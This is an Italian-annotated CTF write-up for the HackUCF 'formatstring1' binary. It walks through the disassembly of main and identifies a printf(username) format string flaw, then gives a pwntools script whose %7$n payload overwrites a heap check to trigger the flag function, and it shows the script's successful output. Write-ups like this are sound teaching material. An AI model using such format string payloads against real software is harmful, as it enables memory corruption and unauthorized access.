file formatstring1
formatstring1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4c408b622a0eafe253114dacbf8aafdcddf3e4eb, for GNU/Linux 3.2.0, not stripped
checksec --file formatstring1
[*] '/home/ytrabbz/FollowTheWhiteRabbit/Code/formatstring1'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
;è un ELF 64-bit no stripped; Stack: Canary found;
;gli Stack Canaries sono valori segreti posti nello stack che cambiano ogni volta che il programma viene avviato. Prima del ritorno di una funzione, lo stack canary viene controllato e se è stato modificato, il programma esce immediatamente.
[0x004012c6]> pdf
int main (int argc, char **argv, char **envp);
var FILE *stream @ rbp-0x8
;rbp-0x8; 8 byte, 64 bit, perchè è un indirizzo di memoria, l'indirizzo tornato dalla calloc.
0x004012c6 endbr64
;Terminate an indirect branch in 64 bit and compatibility mode.
0x004012ca push rbp
0x004012cb mov rbp, rsp
0x004012ce sub rsp, 0x10
0x004012d2 mov esi, 0x2c ;',' ; 44 ; size_t size
0x004012d7 mov edi, 1 ;size_t nmeb
0x004012dc call sym.imp.calloc ;void *calloc(size_t nmeb, size_t size)
;void *calloc(size_t nmeb, size_t size); 1 elemento da 44 bytes, un array di 44 char
;The difference in malloc and calloc is that malloc does not set the memory to zero where as calloc sets allocated memory to zero.
;array di 44 null char '\0'
0x004012e1 mov qword [stream], rax
;[stream] abbiamo una zona di memoria che contiene 44 caratteri null '\0'
0x004012e5 mov rax, qword [stream]
0x004012e9 mov rsi, rax
0x004012ec lea rdi, str.user___p_n ;0x40200f ; "user = %p\n" ; const char *format
0x004012f3 mov eax, 0
0x004012f8 call sym.imp.printf ;int printf(const char *format)
;printf("user = %p\n", indirizzo di stream)
0x004012fd lea rdi, str.Enter_your_username: ; 0x40201a ;"Enter your username:" ;const char *s
0x00401304 call sym.imp.puts ;int puts(const char *s)
;Enter your username
0x00401309 mov rax, qword [obj.stdin] ;obj.__TMC_END__
0x00401310 mov rdx, qword [stream]
0x00401314 lea rcx, [rdx + 4]
;rdx+4, è 4 bytes dopo il primo indirizzo di [stream] = ['\0','\0','\0','\0', qui]
0x00401318 mov rdx, rax ;FILE *stream
0x0040131b mov esi, 0x14 ;20 ; int size
0x00401320 mov rdi, rcx ;char *s
0x00401323 call sym.imp.fgets ;char *fgets(char *s, int size, FILE *stream)
;fgets di 20 char per lo username
0x00401328 lea rdi, str.Enter_password_for_user:_ ;0x40202f ;"Enter password for user: " ;const char *format
0x0040132f mov eax, 0
0x00401334 call sym.imp.printf ;int printf(const char *format)
;stampa Enter password for user: username;
0x00401339 mov rax, qword [stream]
0x0040133d add rax, 4
0x00401341 mov rdi, rax ;const char *format
0x00401344 mov eax, 0
0x00401349 call sym.imp.printf ;int printf(const char *format)
;qui c'è il problema del format string; perchè viene chiamato printf(username); e quindi gli diciamo di andare a scrivere nei primi 4 byte della memoria dello stream che ha tutti i byte null
;%5$p.%6$p.%7$p inserendo come username questa stringa, possiamo vedere che il settimo parametro nello stack è proprio l'indirizzo della memoria allocata con la calloc, che viene stampato dall'eseguibile all'inizio; utilizzeremo la format string %7$n per andare a scrivere nei byte iniziali di quell'array di char allocato nell'heap
0x0040134e mov rax, qword [obj.stdin] ;obj.__TMC_END__
0x00401355 mov rdx, qword [stream]
0x00401359 lea rcx, [rdx + 0x18]
0x0040135d mov rdx, rax ;FILE *stream
0x00401360 mov esi, 0x14 ;20 ; int size
0x00401368 call sym.imp.fgets ;char *fgets(char *s, int size, FILE *stream)
;altra fgets di 20 char, ma questa volta 24 caratteri dopo; siamo nell'heap e andiamo a scrivere 24 byte dopo i primi 20 byte inseriti per lo username;
0x0040136d mov rax, qword [stream]
0x00401371 mov eax, dword [rax]
0x00401373 test eax, eax
;c'è un controllo sui primi 4 byte della memoria allocata nell'heap; controlla se i byte ancora sono a null con il test eax eax, su tutti e 32 i bit; dobbiamo come già detto sovrascrive i primi 4 caratteri dell'array [stream]; e lo facciamo exploitando il format string;
0x00401375 je 0x40138a
;qui salta se eax è zero, se non è zero chiama la funzione giveFlag che ci stamperà la flag della ctf; eax è zero solo se non siamo riusciti a scrivere in quell'indirizzo di memoria;
0x00401377 lea rdi, str.Successfully_logged_in_ ;0x402049 ; "Successfully logged in!" ; const char *s
0x0040137e call sym.imp.puts ;int puts(const char *s)
0x00401383 call sym.giveFlag
0x00401388 jmp 0x401396
0x0040138a lea rdi, str.Invalid_login_information. ;0x402061 ;"Invalid login information." ;const char *s
0x00401391 call sym.imp.puts ;int puts(const char *s)
;qui arriva in caso non siamo riusciti a scrivere nei primi 4 byte nella memoria allocata nell'heap con la calloc;
0x00401396 mov rax, qword [stream]
0x0040139a mov rdi, rax ;void *ptr
0x0040139d call sym.imp.free ;void free(void *ptr)
0x004013a2 mov eax, 0
0x004013a7 leave
0x004013a8 ret
from pwn import *
target = remote('ctf.hackucf.org',XXXX)
resp=target.recvline()
print(resp)
target.recvuntil("Enter your username:")
payload = b""
payload += b"%5$p.%6$p.%7$n\n"
target.send(payload)
resp=target.recvline()
print(resp)
resp=target.send(b"AAAA\n")
resp=target.recvline()
print(resp)
resp=target.recvline()
print(resp)
resp=target.recvline()
print(resp)
python3 formastring1.py
[+] Opening connection to ctf.hackucf.org on port XXXX: Done
b'user = 0x21b0010\n'
formatstring1.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See
https://docs.pwntools.com/#bytes target.recvuntil("Enter your username:")
b'\n'
b'Enter password for user: 0x19.0x7ffd3888e2d0.\n'
b'Successfully logged in!\n'
b'flag{XXX_XXXX_XXXXXX_XXXX_XXXXX_XX}\n'
;abbiamo utilizzato la libreria pwntools di python3 per scrivere l'exploit
Edited by Dr. Pepper - 8/12/2023, 22:24